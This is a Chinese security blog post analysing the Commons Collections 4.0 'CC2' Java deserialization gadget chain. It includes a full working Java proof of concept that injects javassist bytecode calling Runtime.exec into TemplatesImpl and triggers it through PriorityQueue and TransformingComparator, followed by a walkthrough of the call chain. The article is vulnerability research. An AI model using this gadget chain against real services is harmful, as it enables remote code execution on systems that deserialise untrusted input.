freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Commons Collections2分析
2021-10-13 08:59:08

前言

CC1之后的CC2的分析会简单一些

CC版本问题

首先这里说的是CC2链用的是4.0版本的,CC1的时候我用的是3.2.2版本的,就复现不成功CC2,下面贴出来maven依赖。

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

因为在3.1-3.2.1版本中TransformingComparator类没有实现Serializable接口,不能够被序列化,于是就不能在使用链上构造了。

完整POC

package com.red.javacodeaudit.serial;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("CommonsCollections1123");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");");

        byte[] bytes = payload.toBytecode();

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl,"test");

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

反射链分析

ObjectInputStream.readObject()
->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown
->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.getTransletInstance
->cc2.newInstance()
->Runtime.exec()

TemplatesImpl

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CommonsCollections1234");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");");

byte[] bytes = payload.toBytecode();

POC这里的内容其实是javassist部分的知识,简单的来说就是动态的新创建了一个CommonsCollections1234这个类中执行的是java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");这一段的代码,之后通过byte[] bytes = payload.toBytecode();转换成二进制数据。

TemplatesImpl介绍一下这个类的内容,在CC2的链中getTransletInstance的方法是其中的一环,首先看到构造方法是protected的并且我也没有发现什么可以能够实现它的方法。所以还是通过反射的方式去处理。
imagegetTransletInstance方法的内容,可以看到该方法是调用了defineTransletClasses()方法的image跳转到defineTransletClasses()方法看一下,是调用了_bytecodes[i]中的代码,经过了loader.defineClass返回的是_class[]对象
image找到说getTransletInstance方法执行了_class.newInstance方法通过反射得到了一个AbstractTranslet类的对象,所以也有了上面的通过javassist将对象的父类设置成AbstractTranslet.
image于是现在就需要找到什么地方调用了getTransletInstance,就会找到templatesImplnewTransformer方法是调用的
image这里就要思考newTransformer怎么才能调用了,这里我们POC给出的方案是通过InvokerTransformer类来反射调用,于是入口就变成了找到transform方法,有点CC1的味道了。

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

TransformingComparator

查看我们之后的POC

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

这里就会说到TransformingComparator这个类,根据上面的分析现在需要找的就是谁来执行transform方法,于是就到了TransformingComparatorcompare会调用传入参数的transform方法
imageTransformingComparator comparator = new TransformingComparator(invokerTransformer);这段代码,通过构造函数来新建一个comparator对象,查看构造方法
image于是就新建一个InvokerTransformer装入TransformingComparator

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator comparator = new TransformingComparator(invokerTransformer);

之后就应该找到什么去执行了compare()方法了,其实就是PriorityQueue

PriorityQueue

POC中的代码就是

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

siftDownUsingComparator方法会调用comparatorcompare方法,而这里的comparator其实就是我们传入的TransformingComparator,然后会执行他的compare方法,这里通过反射来对对象附属性。
imagesiftDownUsingComparator方法会在siftDown中调用
imagesiftDown会在heapify调用,而heapify会在readobject复写点被调用。
imageimage最后来看POC的最后一段代码

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue.queue为Object[]数组,内容为两个存在恶意代码的TemplatesImpl实例实例化对象。调用heapify方法的时候就会进行传参进去。
image到此为止走到了readObject方法之后就都走完了,这一条反序列化链也OK.

# web安全 # Java反序列化漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录